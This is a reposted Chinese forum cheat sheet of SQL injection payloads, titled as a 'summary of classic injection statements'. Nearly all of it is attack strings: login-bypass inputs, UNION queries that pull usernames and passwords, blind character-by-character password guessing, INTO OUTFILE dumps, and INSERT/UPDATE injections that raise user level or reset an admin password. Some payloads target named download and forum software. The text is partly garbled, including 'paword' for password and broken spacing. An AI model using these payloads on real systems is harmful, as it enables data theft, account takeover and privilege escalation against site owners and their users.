注入超经典语句总结_每日工作总结经典语句

2020-02-28 其他工作总结下载本文

注入超经典语句总结由刀豆文库小编整理，希望给你工作、学习、生活带来方便，猜你可能喜欢“每日工作总结经典语句”。

注入超经典语句总结（完美版）xiaoshuidi 发表于 2009-7-1

12:25

注入经典语句总结

' or 1=1

' or '1=1

'/*

'%23

' and paword='mypa

id=-1 union select 1,1,1

id=-1 union select char(97),char(97),char(97)

id=1 union select 1,1,1 from members

id=1 union select 1,1,1 from admin

id=1 union select 1,1,1 from user

userid=1 and paword=mypa

userid=1 and mid(paword,3,1)=char(112)

userid=1 and mid(paword,4,1)=char(97)

and ord(mid(paword,3,1))>111（ord函数很好用，可以返回整形的）' and LENGTH(paword)='6（探测密码长度）

' and LEFT(paword,1)='m

' and LEFT(paword,2)='my

…………………………依次类推

' union select 1,username,paword from user/*

=' union select 1,username,paword from user/*（可以是1 或者=后直接跟）99999' union select 1,username,paword from user/*

' into outfile 'c:/file.txt（导出文件）

=' or 1=1 into outfile 'c:/file.txt

1' union select 1,username,paword from user into outfile 'c:/user.txt

SELECT paword FROM admins WHERE login='John' INTO DUMPFILE '/path/to/site/file.txt'

id=' union select 1,username,paword from user into outfile

id=-1 union select 1,database(),version()（灵活应用查询）

SELECT * FROM table WHERE 'uuu'='uuu'

SELECT * FROM table WHERE 12

SELECT * FROM table WHERE 3>2

SELECT * FROM table WHERE 2

SELECT * FROM table WHERE 1

SELECT * FROM table WHERE 1+1

SELECT * FROM table WHERE 1--1

SELECT * FROM table WHERE ISNULL(NULL)

SELECT * FROM table WHERE ISNULL(COT(0))

SELECT * FROM table WHERE 1 IS NOT NULL

SELECT * FROM table WHERE NULL IS NULL

SELECT * FROM table WHERE 2 BETWEEN 1 AND 3

SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c'

SELECT * FROM table WHERE 2 IN(0,1,2)

SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END

例如：夜猫下载系统1.0 版本

id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1

union select 1,username,1,paword,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1（替换，寻找密码）

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(paword,1,1))=49（验证第一位密码）

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(paword,2,1))=50（第二位）

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(paword,3,1))=51

…………………………………………………………

例如2：灰色轨迹变换id进行测试（meteor）

union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FR OM%20calendar_events%20WHERE%20eventid%20=%2013)%20order%20by%20 eventdate

union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',pa(),version()%20FR OM%20calendar_events%20WHERE%20eventid%20=%2010)%20order%20by%20 eventdate

构造语句：

SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union(select 1,1,1,1,1,1,1 from user where userid=1)

SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union(select 1,1,1,1,username,paword from user where userid=1)

UNION%20(SELECT%201,0,2,'1999-01-01','a',paword%20FROM%20user%20W HERE%20userid%20=%205)%20order%20by%20eventdate

UNION%20(SELECT%201,0,12695,'1999-01-01','a',paword%20FROM%20user% 20WHERE%20userid=13465)%20order%20by%20eventdate

UNION%20(SELECT%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20 WHERE%20username='sandflee')%20order%20by%20eventdate（查沙子的id）（SELECT a FROM table_name WHERE a=10 AND B=1 ORDER BY a LIMIT 10)SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM……（字段和数据库相同情况下，可直接提交）

SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1 FROM……（不同的情况下）

特殊技巧：在表单，搜索引擎等地方写：

“___”

“.__ ”

“%

%' ORDER BY articleid/*

%' ORDER BY articleid#

__' ORDER BY articleid/*

__' ORDER BY articleid#

$command = “dir c:”;system($command);

SELECT * FROM article WHERE articleid='$id'

SELECT * FROM article WHERE articleid=$id

1' and 1=2 union select * from user where userid=1/* 句中变为

(SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*')and 1=2 union select * from user where userid=1

语句形式：建立一个库，插入：

CREATE DATABASE `injection`

CREATE TABLE `user`（`userid` int(11)NOT NULL auto_increment,`username` varchar(20)NOT NULL default '',`paword` varchar(20)NOT NULL default '',PRIMARY KEY(`userid`));

INSERT INTO `user` VALUES(1, 'swap', 'mypa');

插如一个注册用户：

INSERT INTO `user`(userid, username, paword, homepage, userlevel)VALUES('', '$username', '$paword', '$homepage', '1');

“INSERT INTO membres(login,paword,nom,email,userlevel)VALUES('$login','$pa','$nom','$email','1')“;

INSERT INTO membres(login,paword,nom,email,userlevel)VALUES

('','','','','3')#','1')

”INSERT INTO membres SET

INSERT INTO membres SET login='',paword='',nom='',userlevel='3',email='' ”INSERT INTO membres VALUES('$id','$login','$pa','$nom','$email','1')“;

UPDATE user SET paword='$paword', homepage='$homepage' WHERE id='$id' UPDATE user SET paword='MD5(mypa)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

id='$id'“;

UPDATE membres SET paword='[PASS]',nom='',userlevel='3',email=' ' WHERE id='[ID]'

”UPDATE news SET Votes=Votes+1, score=score+$note WHERE idnews='$id'“;长用函数：

DATABASE()

USER()

SYSTEM_USER()

SESSION_USER()

CURRENT_USER()

比如：

UPDATE article SET title=$title WHERE articleid=1 对应函数

UPDATE article SET title=DATABASE()WHERE id=1

#把当前数据库名更新到title字段